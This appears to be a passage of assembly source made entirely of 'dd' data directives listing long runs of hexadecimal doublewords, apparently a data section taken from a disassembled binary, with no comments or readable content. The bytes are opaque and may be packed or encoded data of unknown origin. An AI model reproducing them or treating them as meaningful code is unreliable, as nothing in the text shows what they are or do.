dd 80054FDFh, 0BC0D98E5h, 0C02B9580h, 4DEE1C61h, 41E24015h
dd 509A8E1Ah, 0DD007A74h, 976ACF85h, 936F9Eh, 21C173DEh
dd 0F25AF44Bh, 1003C426h, 30028F00h, 0C03C3562h, 44F07610h
dd 0EC0426FDh, 0C4A38B6Eh, 0AC0A58D0h, 86200943h, 0CC80AEB9h
dd 8F24B4C5h, 0BB3A5E28h, 94218B24h, 42475600h, 0F6D2DFEh
dd 7447AE6h, 0E3176FE0h, 311604E4h, 9D00DF7Bh, 11EC90CCh
dd 0C95C0932h, 5C000BBAh, 72F69ABDh, 0DDBF4B0Ch, 0C049801h
dd 46FA32E1h, 0BD002A04h, 0BC528833h, 26230CE6h, 501242h
dd 0D7C421D9h, 6707C641h, 8185CA8Bh, 808D27B0h, 8A010094h
dd 0E42DD22Eh, 0D73E25C9h, 217D0ECDh, 0C222C074h, 384E391Ah
dd 0F8843AB3h, 81901876h, 0E02D6440h, 0B0BEF32h, 108EA3BFh
dd 4333DCh, 0C638F7FAh, 0DB976431h, 0C5814100h, 0AB7C76CBh
dd 9FF000B6h, 0FABC5F48h, 0BA601C8Dh, 6C69F1B1h, 8EA93D9Ch
dd 0FD02B600h, 95AFFAF6h, 1900E373h, 15C7FBC2h, 160D626Ch
dd 3AC451Fh, 0A683CE8h, 26E11288h, 9202FA01h, 8F108E90h
dd 851CB085h, 4F48D0C0h, 0B02C4715h, 0CB012221h, 0A3B620A4h
dd 2E7A7860h, 2A2D7h, 0DC3E7DD2h, 0D5FC9B0Fh, 0DEB24C07h
dd 27609A30h, 0B13C870h, 0E4E2E540h, 0D9EAC402h, 9DDC9840h
dd 0C0AD5C01h, 8E439876h, 0DF838C45h, 52D7C075h, 73F77ACh
dd 7692E04Bh, 8358F4B6h, 61E0B79Ch, 1500E8F5h, 2618E624h
dd 8FC90Ah, 0EB2ADF60h, 0B28DF81Bh, 0ACFF5F00h, 9D7F67FAh
dd 663300FCh, 326BAF49h, 340025A5h, 0CFA74371h, 0E91EE3h
dd 4103F889h, 0BC6C1195h, 0D0B4F100h, 7E2D3F9h, 8EED01E3h
dd 0EB6FFA54h, 558BE032h, 60AC2B03h, 0C092E885h, 0FD822CEh
dd 64E6874Eh, 0D721F900h, 34008E4Bh, 543F4644h, 7505181h
dd 3E5CE8B7h, 12006F4Fh, 2A9D17DAh, 0BA747A38h, 5C65055Fh
dd 0F0CB3220h, 39A16400h, 0FEEBF4E9h, 0E13DE02h, 0E8DC1B05h
dd 0F770750h, 8AD64C40h, 539484C0h, 48E699D2h, 0D93A041Fh
dd 0C9DE51C0h, 1F5A21h, 3D9DF94Ch, 431A0F2Ch, 9619E200h
dd 0DFF6BE65h, 30DD006Ch, 45D6D0ABh, 8B014A71h, 0E32F0210h
dd 2470DF1Bh, 7779007Ah, 207FD623h, 0A37A2D56h, 0D4D4907h
dd 12F05295h, 3A8B1030h, 0FC800572h, 81457D88h, 7F1EFE02h
dd 9180AC08h, 637659B3h, 60F0EA6h, 19E3C48h, 0AE85CDE3h
dd 8040E647h, 7300E971h, 3F0E2C1Fh, 7D8120h, 15134179h
dd 429C295Bh, 897AEA00h, 0A08D0EECh, 0D52500C5h, 96AFBC85h
dd 5E009297h, 118287D0h, 5C900D19h, 9C0128F5h, 0CDA4408h
dd 5860CEB3h, 2C00064Bh, 17E296CEh, 0CFF8B4h, 0DEB319FAh
dd 0F0F6692Ah, 2503B504h, 50802F33h, 26DC136Ch, 0EEC55BFh
dd 31C0FB98h, 908B0BBh, 96EF8000h, 36043E72h, 2CAD7786h
dd 0A3D0583h, 4A7A8E9h, 806512A0h, 4FBCF888h, 0CEA21000h
dd 4DBB6998h, 40B1005Fh, 0EC9D6195h, 0CA1F5719h, 2F00521Ah
dd 0C66DB99h, 4BC20046h, 93D69E5Eh, 0C8007845h, 5537BA4Dh
dd 0E4771B0h, 7CBE2E40h, 0CB6832A0h, 4B58248Dh, 3C370138h
dd 3A42C2ECh, 3C20CDDDh, 0A80B01E0h, 487D1939h, 0AF342492h
dd 2E67FD18h, 79F539h, 546A3519h, 69255B87h, 80886438h
dd 0ECDA927Ah, 0A9B55596h, 9870FAACh, 17E626E3h, 1C200E0h
dd 5E5C872Eh, 0F99A5800h, 45A33FB1h, 0E4DE788Ch, 24E6F6C7h
dd 0BCE976h, 0DCAD1E1Bh, 74008DC8h, 0FA27256Bh, 16149E5Dh
dd 0EB5ECDh, 2BC2F852h, 8DEC44D4h, 0DC2A1100h, 8FCFC3A9h
dd 0C8050F0Fh, 0D403A533h, 0C9804D47h, 29E6A331h, 6EF7B803h
dd 0D8198CEFh, 0EB6307Ah, 0F85C9BE1h, 0A3A4C840h, 0A000DDFDh
dd 0B3C036B4h, 43880Bh, 0B90668E9h, 0D977D5D8h, 8CFAF00h
dd 19105D24h, 9050044h, 6C6BA578h, 9F0068C5h, 0FA8CF74Dh
dd 5E46DFh, 0B1348785h, 1E94C2B2h, 0CE78F04h, 0AA423Ch
dd 5F81366h, 0B2003507h, 0A9CEB6CCh, 0E7F0494h, 0E40888CBh
dd 717C40BFh, 0CDBD1746h, 0D70D3A00h, 8A153B73h, 6B950167h
dd 0A556DA50h, 0A2ECE066h, 1E860900h, 0EA6CB5Fh, 50076287h
dd 0E0772368h, 7B6225E2h, 2CB900C2h, 3FFE5E37h, 2A002DAAh
dd 0D55D4572h, 31BE62Bh, 470AAF10h, 37F82214h, 0E21D64CAh
dd 65410CACh, 397C9CB4h, 5CFA34F8h, 62034DD8h, 35041A5Eh
dd 339EE398h, 0A73BE618h, 2821FAAEh, 7DA8AF46h, 2B1A0048h
dd 5A8A190Dh, 0E6075EB7h, 0EF27C2B8h, 802324F0h, 333F015Ch
dd 82A250CEh, 11C08063h, 0AE9BBBAh, 0C7060108h, 65ED0B46h
dd 412E849h, 0DCBA1000h, 0F4A794Bh, 0A07170A1h, 0F4806DB0h
dd 589BE0E1h, 1900190Eh, 39499C52h, 8B01EDA9h, 385B2431h
dd 1C20AB0Dh, 6C2A00F1h, 6B1C0F83h, 0E200ACE6h, 7168B150h
dd 0FCDD1Eh, 0B9044B85h, 93A742EFh, 9DB67419h, 0AE70BBE0h
dd 0C4240192h, 0A2F55EFDh, 0D39C40CBh, 1E00D18Ah, 0DB35EED4h
dd 9903C2h, 372B407Ch, 43448022h, 50A7EC00h, 510C11Bh
dd 898A01B9h, 0FC587364h, 0EBF04059h, 0CD00260Eh, 87DFA59Bh
dd 0DBE6B0h, 0A7E32ABDh, 31A970ABh, 12455700h, 0E7FED93h
dd 0BDCC0017h, 0EAD2183Ah, 9B0327DEh, 7A7CDCB0h, 0AB68006Ch
dd 0BCB2BA2Ch, 0A175B701h, 83855400h, 867431F4h, 281338C3h
dd 0D8641F81h, 51442E5Dh, 402156FCh, 0FEFB22B4h, 0CD038800h
dd 47BB8E97h, 0C5710069h, 6EAC55FDh, 4E09E298h, 4100326h
dd 0E087B84Ch, 5B7E5E00h, 0B040023h, 0A6564873h, 440065F6h
dd 7F9466E7h, 0A05A0FA8h, 76902FB0h, 0B62E007Ch, 6DA1FA81h
dd 0CF486693h, 0AD6B0066h, 0DA8F25CAh, 0FB240091h, 762F803Bh
dd 1B2FD3C7h, 38C7DE38h, 906EA80h, 70660D91h, 0B7589E00h
dd 0A50A5DE1h, 0D07618A9h, 0A3DD7069h, 796DCB00h, 0D9A42F31h
dd 9ADA007Fh, 119BC2D1h, 0D4F85146h, 950601Bh, 0A7F481D9h
dd 0A071D0FCh, 0A494E4h, 0B2FED5Dh, 7E51D2C6h, 70CDB9E0h
dd 0D001DC2Eh, 0CC70E59Dh, 9564139Ch, 0C3BB0122h, 98F2132Eh
dd 87907676h, 0A4D21816h, 4E8A88D4h, 0B8584A00h, 0FA1A6FF8h
dd 90D00EADh, 27A119E0h, 48A26ACDh, 3498B768h, 0BA001042h
dd 21CAC1A5h, 0AD03B04Eh, 3F56D543h, 88FB9880h, 0FDC205BAh
dd 80B5217Ch, 1C363A4Eh, 9C0AD200h, 0C7F10C1Fh, 0C61002ACh
dd 0F9A32E04h, 249F7C40h, 3F24407Fh, 3B0000CEh, 6AE0175Ch
dd 0C0983Dh, 98D14E78h, 1DF463F2h, 750B8E00h, 47320570h
dd 97C5034Ah, 4590E3EEh, 0A18E4000h, 5B4B8BAFh, 0BC2D008Ch
dd 9052F17Fh, 880B77EBh, 801CE011h, 0A2453023h, 0D85D0053h
dd 9349EFF5h, 813CDB10h, 4AAE9E41h, 803C185Eh, 5BCFFCB6h
dd 16B27ACh, 0E6E50AB5h, 0C42B3252h, 0FCFDA330h, 4100851Eh
dd 0F1162623h, 1CA2B03Ah, 80B44FBEh, 21ABE69Ch, 0FC1E29A1h
dd 39127234h, 0A5AF2442h, 0F920E0F4h, 496670E2h, 0AD059C9Ah
dd 41C9AEA3h, 0DDABB5C8h, 0D48A7161h, 0D3001D96h, 255D5E42h
dd 9EF0E8h, 2F87CFF9h, 4350FE4Ch, 0DB4F011Dh, 0E1A19441h
dd 0BA438E34h, 0FA82D06Eh, 0F65CE45Ah, 9A9800A6h, 0D74ADFC3h
dd 0DB0090A4h, 51F9EFA7h, 0E1076Dh, 50E4AA9Eh, 0AF779B44h
dd 0DD0B1FB0h, 104BB4BDh, 71689270h, 0A53F095h, 5AEFDC51h
dd 2DEB009Ch, 54284BE7h
dd 0E637F00h, 0E0D65DE6h, 7E650096h, 0A94C6109h, 62001DB9h
dd 4E4D07Dh, 13C4EE46h, 44AD0Fh, 0BA7279B4h, 577CCADDh
dd 8109A700h, 8E70E60Ch, 0A4A950F8h, 56BD005Ah, 9E452590h
dd 21F63B2Dh, 0CDF20E01h, 6809EAE6h, 142C3900h, 773D092h
dd 540F4876h, 0C09FB74Fh, 0D8A1EFCBh, 26747522h, 6EC4F4h
dd 3D4B524Ch, 0DD1D1B0Bh, 2BC9DF78h, 67C41093h, 14E20051h
dd 0A01EF1DBh, 7E0094ACh, 0EDEA963Fh, 0A1A317h, 0F7220898h
dd 0C3256847h, 919BDCEDh, 58CA3A01h, 4E29DCF0h, 0B9BCC8h
dd 81312D6Fh, 8E62A287h, 0AC09640Fh, 3B210002h, 0BE6895h
dd 534DB652h, 0FF20D9F4h, 0A7451703h, 0C0AF2B3Ch, 7C0BD1B5h
dd 891B00EFh, 0BCADAA02h, 30001417h, 0C06BBD85h, 36A617Dh
dd 137A566Ch, 49D8488Ch, 4B182D6Dh, 399264Dh, 3CCE00C1h
dd 191ED8F8h, 7458B843h, 5C0A0A19h, 0E500941Bh, 0AB510D06h
dd 6D300089h, 0AC3C8896h, 71001CFFh, 0EA1328EDh, 6F158CBh
dd 0B9C807DDh, 0DB0EB8C9h, 407D14A3h, 6542DEB0h, 4C80030Fh
dd 1CDA483h, 43D505C8h, 0E079556Eh, 5CC7652Fh, 7D3C01CAh
dd 0A88CF58Ah, 9FF283F8h, 0C8D805DCh, 5B1893h, 0CD739EBh
dd 0CB0DA001h, 831C7300h, 6E05E706h, 0FD6A001Fh, 59DED916h
dd 8200EC80h, 19D495B9h, 7270B1Eh, 0B298CDB4h, 503ED0A1h
dd 0D03EB005h, 1F000C9h, 0DE090ECBh, 0CFBA07F2h, 0C3EF7267h
dd 280F746h, 0D5007EAEh, 0E40B77D3h, 7775E863h, 0D1943B5Ch
dd 143D0980h, 918A1DFEh, 0BA034F00h, 457D6E18h, 1A10C098h
dd 2C24A623h, 0ABFEAD00h, 4DF354B7h, 0CEE900C4h, 0E8661AD6h
dd 8403CB38h, 6F16F01Dh, 0D761819h, 0DDA2C8ACh, 85068800h
dd 0CBE4BAC5h, 0B8D259h, 0F28F1BB2h, 1200E838h, 0DD71D2D7h
dd 0A77C9FAh, 7B483BE5h, 0C3780B8h, 9EC59B61h, 0D426A10Eh
dd 5B0F3F9Fh, 132740A9h, 2D604Eh, 99500E03h, 11E6B989h
dd 9539E8F4h, 0BF760082h, 68F88174h, 741C4C17h, 0F7147C00h
dd 0D1C5CCE5h, 55743C01h, 0EF2F57E0h, 0FB6D928Fh, 9C6AFA83h
dd 0CEB5EEB0h, 0B2B64F00h, 26F58ECCh, 165007F4h, 0C0F0C8EAh
dd 4973E4FAh, 2007CB8h, 0AE23A44Bh, 14FE37AAh, 91154455h
dd 97D60E01h, 0FC0FFB34h, 1300E7B8h, 0A2471EBEh, 4944BBh
dd 6169837Eh, 0C594C28Eh, 8A3F60Bh, 20480EB0h, 97C5CE6h
dd 5D2700EBh, 0D730AB3Eh, 2D071941h, 67771654h, 10345620h
dd 87D509D2h, 1400FE6Fh, 0F81C8406h, 76675900h, 72817A3h
dd 0D057014Ah, 2BFAA891h, 79FDDC0Ah, 5C61F00h, 2D7D5CE0h
dd 0C71D1429h, 730ED808h, 33402B2Fh, 0D6F59D7Ah, 0FB0F89F2h
dd 20A2A68Eh, 0BFEEC57Dh, 0D236016Dh, 9FA45D2Dh, 0D3E44046h
dd 430E3327h, 0F3852FE7h, 0DFC8BE0Fh, 0B3F25400h, 0FB8482h
dd 0FD900962h, 0E5BAE0CFh, 7A035800h, 0E4A186D1h, 8ECD04ADh
dd 874F2C7Ch, 0DBA6E024h, 0B600A99Ah, 0F8E68651h, 751333h
dd 0E374E5AAh, 150CF6B1h, 0DF03F090h, 0A318E139h, 1EFD021h
dd 1AE80061h, 0A9C3DDACh, 3800C808h, 3C537802h, 90EFDF27h
dd 6A040014h, 0DA7B5976h, 4500CA38h, 0F216E635h, 0A3EA19h
dd 0FEDE8457h, 8B4F2830h, 787DB700h, 8F6BE321h, 0B58A00C9h
dd 0D4C6BC32h, 4F3E3B24h, 789E803Ah, 567BE4E0h, 12EE1401h
dd 3702DC0Bh, 0FDA30C4Dh, 45D01A00h, 0BBED0F1Ch, 0CC0060F9h
dd 8CDB1E3Bh, 2D5DE000h, 711B3EC7h, 8A4B00ADh, 0A1453C40h
dd 6900E5FAh, 2C372B73h, 4D5714AFh, 0F328F0DBh, 0F12D70DCh
dd 72003C1Ch, 0EC901EFFh, 1E0BC3A0h, 43BABE08h, 1661C88Ch
dd 0C12D98D0h, 30F3B500h, 0CB533A87h, 0F9809h, 4B55FF61h
dd 0E2AF5E0Ch, 40CC764Ch, 0DC0044E6h, 6C69ACDAh, 0E1C3A7h
dd 924F1E36h, 93F78E5Ah, 97528A1Fh, 9CAF9DDh, 1E80F08Fh
dd 0B5CA3C38h, 349064h, 0CC3E2E1Bh, 16865FA3h, 331D1A13h
dd 5E00D3A8h, 0BBA42055h, 50E0C893h, 9B1B3A00h, 0EFCA8B8Ch
dd 90E60026h, 0DEEEED3Dh, 0BAF05D49h, 1633EB00h, 0B5DA948Ah
dd 8C04000Eh, 0C05CE792h, 0F00E624h, 735179D3h, 2F0956h
dd 5BFC10B0h, 671357B8h, 29C83300h, 0C2E3C459h, 61B03AE7h
dd 96E1201h, 70350A5Ah, 0A5136D58h, 6C4FBCDDh, 0EA8F0h
dd 71886B91h, 9700F20Fh, 4C578EE3h, 878A7Ah, 0DDD39EAFh
dd 1CAD9CAAh, 0D2C4820Eh, 265A47E8h, 3B313C80h, 0C6DF008Eh
dd 0EC898446h, 4300799Fh, 0C7F92678h, 4F7E63h, 3B74EB69h
dd 1309484Eh, 0E9B0A071h, 0B21C6BB0h, 0D43A814h, 90072D85h
dd 12BF02DAh, 0F3CEE3h, 51405840h, 90BA64Eh, 801E14B1h
dd 0DFA0451Ch, 0DB23BAEh, 0B3823580h, 23B8A851h, 8E312603h
dd 0C0C1489Fh, 362718h, 0BB40A489h, 7BCAB5C6h, 7AD8680Ch
dd 16F060E0h, 40639556h, 65525168h, 1C749341h, 3BB6E218h
dd 0E1A4B118h, 6EC2CCE0h, 0FD601004h, 2C722124h, 0CE301500h
dd 0BBB31C47h, 0E3AF00F7h, 3B4EDD3Ch, 0C6037CFCh, 0C246876Ch
dd 113802DBh, 81831FB0h, 0C6083C8Bh, 16620F48h, 0B8E9D4C0h
dd 8EECD16Ch, 8C1114A0h, 4E7C1700h, 0D6A9AB5Fh, 25CA0028h
dd 8806058Ah, 37FA7A9Fh, 0FB00767Eh, 31D9C702h, 18F71FB2h
dd 18658DCFh, 881FCC60h, 3BEBF2Bh, 813767D4h, 0C6E9B62h
dd 0FCC71B20h, 0F70358E8h, 91CC82EDh, 0C330000Ch, 3F57895Ch
dd 0FE0FC986h, 9AB8FA45h, 40A28C40h, 85293CCAh, 0AB7DE90Fh
dd 99144E03h, 0FAF00184h, 0D1805A4Fh, 0C1D691DBh, 0DC28057Dh
dd 96F880C9h, 90214F67h, 3181898Ch, 1951EFD2h, 0A0B341B2h
dd 0FCD18563h, 0C40352D3h, 6DF1F3h, 70A6CB49h, 7C5EF62Ah
dd 81F0FB41h, 77E0010h, 0F74E8760h, 4D7C8201h, 0C24F7801h
dd 0A8C32DAAh, 71EA609Ah, 0A650F260h, 0A7773A00h, 0A9AAF29Ch
dd 23210AB1h, 3A304ACh, 500C76FEh, 1C8D2E0h, 0F2DA9B00h
dd 0ED860AAFh, 91A31F37h, 3BDF85Fh, 2215E300h, 0DDD96B75h
dd 7A37C800h, 901021CBh, 0A8D3E2h, 9F8054E4h, 25009BBDh
dd 72423006h, 88EFC1h, 64F91D36h, 5A6B075Bh, 8E00F0E0h
dd 53FBA568h, 0F3DF60h, 0C171618Bh, 62931254h, 8580203Ch
dd 7F5D410Eh, 0D7F9DCC0h, 380BA53h, 675B7B6Fh, 748859E5h
dd 0BF0089FDh, 8D427CA4h, 6B0A50h, 0DC7D52FCh, 2CACFB85h
dd 817E2900h, 653BC1B0h, 5CDAE877h, 0D530B892h, 0FB8DE259h
dd 0F7D66C00h, 0B4D0D3CEh, 0AF47033Ch, 27EE09F1h, 0ACD101B0h
dd 76AC6A4Eh, 8849100Bh, 0FDB42420h, 2558BEB2h, 0AE73789Ah
dd 2CA2B600h, 0C849797Bh, 3EA17676h, 5F000F10h, 0C2AFA42Dh
dd 91E64CAh, 4D00DD79h, 9F52C8BCh, 0E8B50037h, 90E4FC66h
dd 620057BFh, 0A4ECB95Bh, 9808AA8Eh, 538D091Bh, 998ECE2Ah
dd 0B380CDEEh, 0FEB294Dh, 0C6E8A14Ah, 13C68801h, 0F4DD4AD6h
dd 9F0F2B4Ch, 58631585h, 2549CF20h, 20804DC6h, 227A017Ch
dd 2E291D00h, 0E2956460h, 6F13009Fh, 0B9F29AA5h, 611E9674h
dd 0B81E41D3h, 0AB2D8287h, 0DDEDAA10h, 0B3BA3CE3h, 3796287Ah
dd 3F56C093h, 353B01Ah, 7D006C92h, 20275102h, 0BCB49Ah
dd 5D21CC97h, 2D0C0A49h, 0BB703202h, 0A0E4BDECh, 0F7C865C4h
dd 0DE73E6h, 604907B9h, 84A96799h, 8200A896h, 4F867C95h
dd 7139004Bh, 0F16E6C6Fh, 76014026h, 0EC1BCBC5h, 9C285572h
dd 74BF3A80h, 0D7F642EBh, 8C7BBAFEh, 0AEC12E00h, 0D410DD1Fh
dd 0C7F400BDh, 43CC1E85h
dd 15F6373Fh, 738A5E07h, 84879087h, 623DCB50h, 0D7E917EEh
dd 86390175h, 416A11DAh, 34EC93B8h, 5C380A14h, 982B9435h
dd 725F00E4h, 107A5B53h, 16AF7F06h, 1694E94Bh, 1D8013Ah
dd 0C0373B60h, 22008B4Dh, 0DDE32F04h, 4805DF4Ch, 0BC03F2ADh
dd 0CE32B27Ch, 0A8943AD0h, 5B0130B2h, 87B3EB04h, 0C960B95Dh
dd 0AC35006Fh, 29B4BA7Bh, 59348FE0h, 0D002C625h, 0CA52E8h
dd 6C3AD9F2h, 7202B390h, 4FFE6A16h, 11E88062h, 7EA1E15h
dd 6CD540F0h, 0F9910A6h, 44960D13h, 0AAE00800h, 0AEB0796h
dd 0FEC8B01Bh, 0C3380FCh, 0D9C04AF4h, 8141D9A0h, 97D8A600h
dd 6750EF01h, 440800B6h, 2D8715BBh, 8C1D3141h, 450086A5h
dd 0ECDA18F6h, 0C0A05ACBh, 0FA534BF5h, 7C0099E4h, 0B6503E32h
dd 0EF01D27h, 3A5DF354h, 482CAC9h, 18605B8Fh, 2600D30Bh
dd 7B7A4720h, 488D25DAh, 0BF008D82h, 0DEE5E4F5h, 0FDFACE9Fh
dd 8430FE00h, 3C970CF1h, 9B03014Fh, 0B03F42CFh, 0C28BE05Ch
dd 1C790D3Bh, 2E00DA93h, 7D6CA626h, 717043h, 51FB7FB6h
dd 5E5A5046h, 8B16FD00h, 1BA0A707h, 0FC911837h, 963C1990h
dd 9D2E3500h, 1F61DEA9h, 1B540027h, 5BE704BFh, 39003B7Fh
dd 12692A96h, 7ECA0B4Ah, 0BEDE0107h, 47067965h, 2FC0C60Ah
dd 990042C8h, 247FDFF1h, 4F3DE29h, 155CE0CFh, 80E885D2h
dd 5A90E9C0h, 8ECDC505h, 449061EDh, 18B859Ch, 0F15B75B2h
dd 0D052A4A6h, 6700DFD3h, 4DD8061Dh, 13252Ah, 9CC1C795h
dd 0EAB1D58Dh, 2BD90864h, 127814A0h, 1DD4FE8Bh, 5F800193h
dd 0D04C7D0Ah, 0F40069E2h, 0F3DC01DEh, 5D2D524Ah, 0C10C7CF9h
dd 0FE423713h, 9AFD2A00h, 0A7549E9Bh, 64400082h, 0AEBC587Dh
dd 753E5B22h, 8E2100A5h, 36953F28h, 0FB8A0B2Eh, 48F5EA3h
dd 39645F61h, 2D3C349Fh, 26411A00h, 87BDC63Fh, 8F290036h
dd 0B9C3A7D1h, 4448F9EFh, 569B0060h, 9DA12377h, 0EDDC1C26h
dd 8A52CDh, 1F34D7D8h, 7D0422F9h, 0B1EE5153h, 0BE7F1880h
dd 0AD080EA9h, 3B60DC5Fh, 0E844E561h, 0E965E70Ah, 7D1D964Bh
dd 0A772DC0h, 2493B8h, 0A4E2F96Fh, 0BA6BFA48h, 7C7E2700h
dd 95382914h, 81DF1896h, 2CCC5853h, 3DD52F13h, 5ED72440h
dd 90B1741Bh, 985300F3h, 0C49FDBA5h, 2E0303EEh, 7DE6A45Dh
dd 7E52A8CDh, 53A2072Ah, 0F0FDE081h, 78F76D01h, 46752F00h
dd 0EDAD5B48h, 84EA0049h, 24515E2Bh, 9C070BF9h, 0DB677B38h
dd 18D0BB70h, 0EC9B24F8h, 9BD243Ch, 8C007E01h, 908D5623h
dd 338B4903h, 0A0F68E11h, 0C57F55BCh, 0A1D8AC20h, 8011A720h
dd 9E818220h, 4BBE00AEh, 5DD38A60h, 330E12BFh, 60C7E7CAh
dd 0BBA091CEh, 47600742h, 11BE1C88h, 0C56880DCh, 0FDD8EC97h
dd 2DA93A00h, 0AC783562h, 6FB30022h, 5F035E3Bh, 11E1005h
dd 8980A7A9h, 270FC888h, 0BB63D19h, 24DEAD81h, 30D06A0Eh
dd 5706F117h, 4A085A8Bh, 580901A8h, 0A9E28AB7h, 0E6A0F486h
dd 14161C12h, 0CCF2A700h, 2615BCDDh, 3E500B7Eh, 0B313B880h
dd 0C79B19BBh, 1AEF7101h, 9C2BFD42h, 7EEC4C60h, 3C0B049h
dd 537BBAB7h, 4B8339Eh, 0DA071BE6h, 5E3F6041h, 90CCD00h
dd 0FEF60059h, 0EAFB74F5h, 0AB03F8B8h, 26A2BC42h, 0B30988C7h
dd 0E9B40091h, 7EF173BDh, 2D09AFD0h, 489BB230h, 3D1AA5D4h
dd 3A80FFE3h, 86D4798h, 14CB5FAh, 9A79003Ch, 0C7CCF0C6h
dd 337C0390h, 0C00CBA9Bh, 80938BC9h, 0C10FBD4Ch, 9518DD4h
dd 97085CD1h, 934C4400h, 43046F1Ch, 0CFA27D2Dh, 454E24D0h
dd 0BE6200FCh, 0E67BD46Ch, 6FE8C983h, 4C79D828h, 63878600h
dd 0B4AE17BFh, 0AFDF0F85h, 258037B7h, 9555B6CAh, 0D4F0A600h
dd 0DF1B19C8h, 3BD87426h, 6E80F110h, 3A777D83h, 580049DEh
dd 464B6557h, 4D6730h, 9312FF5Ch, 27F17D9Eh, 107C3CE6h
dd 83D76009h, 0B1546886h, 4BFD3C1Ch, 99DD6074h, 6A77E249h
dd 1403A096h, 6795FDh, 7C335931h, 50F7AAE5h, 7DC0AE0Ah
dd 66007CA0h, 43721C5Bh, 52B9F846h, 262088C8h, 0DB039894h
dd 0E0F66EC2h, 25289570h, 8CA01235h, 6FF9504Eh, 5AD33200h
dd 87C21C4Ah, 0C40D09E9h, 0ABD8D9h, 9E6F0E77h, 85C0AE5Dh
dd 59E908FBh, 0DC053AB3h, 0CF734880h, 0D6843F81h, 374B4200h
dd 1955C48Ch, 0F4405833h, 0B2DB7D07h, 0C534C03Ah, 0DF54183Eh
dd 7402A780h, 0D970E456h, 0F88CD0E2h, 0F7DC0086h, 4B36B4DAh
dd 44268842h, 0E9016B2Dh, 8D2FC945h, 83D4E731h, 68330081h
dd 79D26BBh, 84A8D45Dh, 0C800B8EBh, 7E167183h, 0B3D1B6h
dd 0B792789Ah, 9C42785h, 93000F7Dh, 2C59E2D8h, 2AF9CCDEh
dd 4C04C4Fh, 94F47DAEh, 0EE3880B1h, 6F0087D1h, 83450ED9h
dd 0A09629D0h, 60B968DCh, 2BF7E881h, 7F7FA513h, 0B29E303h
dd 90871439h, 7D511277h, 0A1DF0006h, 0EB1CCE28h, 0DE000A2Ch
dd 0D96D156Fh, 0E2559FF3h, 562830B5h, 0ABDB4509h, 74CD10C0h
dd 0EBFB6Eh, 6011446Ch, 0DD88B093h, 455FD602h, 0C04EE0EFh
dd 0C463F711h, 44149029h, 515FDE5Ah, 86921E1h, 1088FA5Ch
dd 0CA3788E5h, 47CDD07h, 3D2BAF0h, 0AA1D0033h, 8A7855AEh
dd 1A0005E6h, 0BA54ADD3h, 0A35DF6h, 0CB08D009h, 0A85045E8h
dd 1302B400h, 0A63B4AE3h, 7C89001Ch, 27E9B930h, 5E00D17Fh
dd 0FAF56F01h, 54FD6872h, 0FF80ECh, 161070EAh, 0BA9A6384h
dd 0AD754100h, 0B965A919h, 20E70037h, 636FA490h, 0C3008C96h
dd 0E64049F7h, 65375h, 0BA177E39h, 0EC6D773Bh, 0B75EDD00h
dd 0DA4F4B5Dh, 4D5F0369h, 67EA8E8Dh, 6EB560C0h, 15BCB154h
dd 5499AB00h, 7958F235h, 0AFC700FAh, 0C6B667Bh, 2B3F01D8h
dd 0DC08007Fh, 6F3C9546h, 97490345h, 1639CCC3h, 0DE6A43E8h
dd 0B876ED01h, 203598B4h, 0F1DC0C8h, 4CAAB55Bh, 1CDBB1C1h
dd 3B07F879h, 0BB258200h, 0A5A3010Dh, 3D0807C2h, 709010FFh
dd 9535555Fh, 71B3C300h, 97800EE9h, 0E43300A7h, 1853D7DAh
dd 0C0C05AECh, 614323B7h, 9DE00325h, 412DAAF0h, 8EC0BFCBh
dd 0CA0FB30Fh, 0C04D5630h, 0FA9B20F3h, 41B03B83h, 0DC0A6705h
dd 7C80BEF8h, 963921h, 0F030333Eh, 0AA902A46h, 8B6B6900h
dd 16520FDFh, 941200C6h, 55C1C33Ch, 2804E637h, 5C5DFB81h
dd 0B500EEC7h, 0FD64B982h, 3BCAAFC8h, 9580243Fh, 0C39CA59Fh
dd 10007A27h, 665C2657h, 3A6A448h, 3FB33A03h, 0B0C7BE5Bh
dd 136822A5h, 78FD7400h, 0D25CAE33h, 87F40B31h, 0F9A08BFCh
dd 2B53CBEBh, 0B6AF9500h, 82E306B4h, 6B380065h, 0E888D89Fh
dd 74024A59h, 62561F9Ah, 0E8E44313h, 7F7A40D6h, 8A36001Eh
dd 617744Dh, 0B00F689h, 0AEB37EC3h, 1E978BFDh, 8082B65Eh
dd 5FA1A6C6h, 4000E63Dh, 0D553FB23h, 19381Ch, 0A8215E8Dh
dd 37272C29h, 32CCC603h, 0B011B8E0h, 7EB081h, 0C2D40AC7h
dd 1DA5C0EDh, 99B54B00h, 0CD87D976h, 0B77D7Bh, 0B6651EBCh
dd 3BFB1533h, 0C7F05450h, 10FDF31Dh, 7C6B08Eh, 3290DEF9h
dd 0DBADEFh, 27770EEEh, 1FDF0EDh, 0C80C3002h, 0C051A07Ch
dd 93168h, 0E76C79E5h, 2E4D4B12h, 0F0538628h, 3597A39h
dd 0BCF2B7Bh, 43DF813h, 9BE50072h, 0BC7C8F53h, 0EB00F6C3h
dd 0F776E15h, 54DA0Bh, 0F1C09D0Ah, 1190FF60h, 20EF7200h
dd 0AE3B6124h, 0C81D0045h, 1A629B35h, 26095541h, 7366623h
dd 0E270BE6Bh, 0B5E199h, 0D7B8DDD1h, 28538493h, 7CE6300h
dd 1EADCA10h, 0BF4C1339h
dd 69F1031Ah, 0C4F01FC1h, 0F2F0BA1Ch, 0BC00E5Bh, 2E3361h
dd 0CA64EA3Ch, 105A3DFBh, 0EDB18000h, 0B2ECEFC4h, 0F4FC488Fh
dd 0C0AB521Eh, 0C68C125Bh, 0F8C02965h, 0B9701459h, 0C22D0098h
dd 6AE58EEh, 1B00E29Ah, 858BBC3Fh, 0E04D7154h, 8967043Eh
dd 8083527Bh, 4EA14480h, 9C886400h, 430E97A3h, 47E7A75h
dd 0F54BAF31h, 39908006h, 69097488h, 802FD8E0h, 8E0CCC50h
dd 3424186Ah, 0ABF9A1DEh, 0EEE0C600h, 0E72F3E5Dh, 0E47D00DDh
dd 6A34D2C5h, 0A40EBDD4h, 0C01F7E19h, 0DCA920A6h, 1108007Bh
dd 0E9F5BB07h, 889870B2h, 0CBC59000h, 29C0EFA0h, 0E701EA58h
dd 9E9DECh, 529A04DAh, 7013EA2Eh, 0E44338h, 0B32C8238h
dd 0B0A8F089h, 7A74005Dh, 0DAD0BDAAh, 37EEC6EEh, 5013FCECh
dd 0DC00A873h, 0B81CC5BCh, 4BFCCCh, 0A6C2157Eh, 0EE92E02Dh
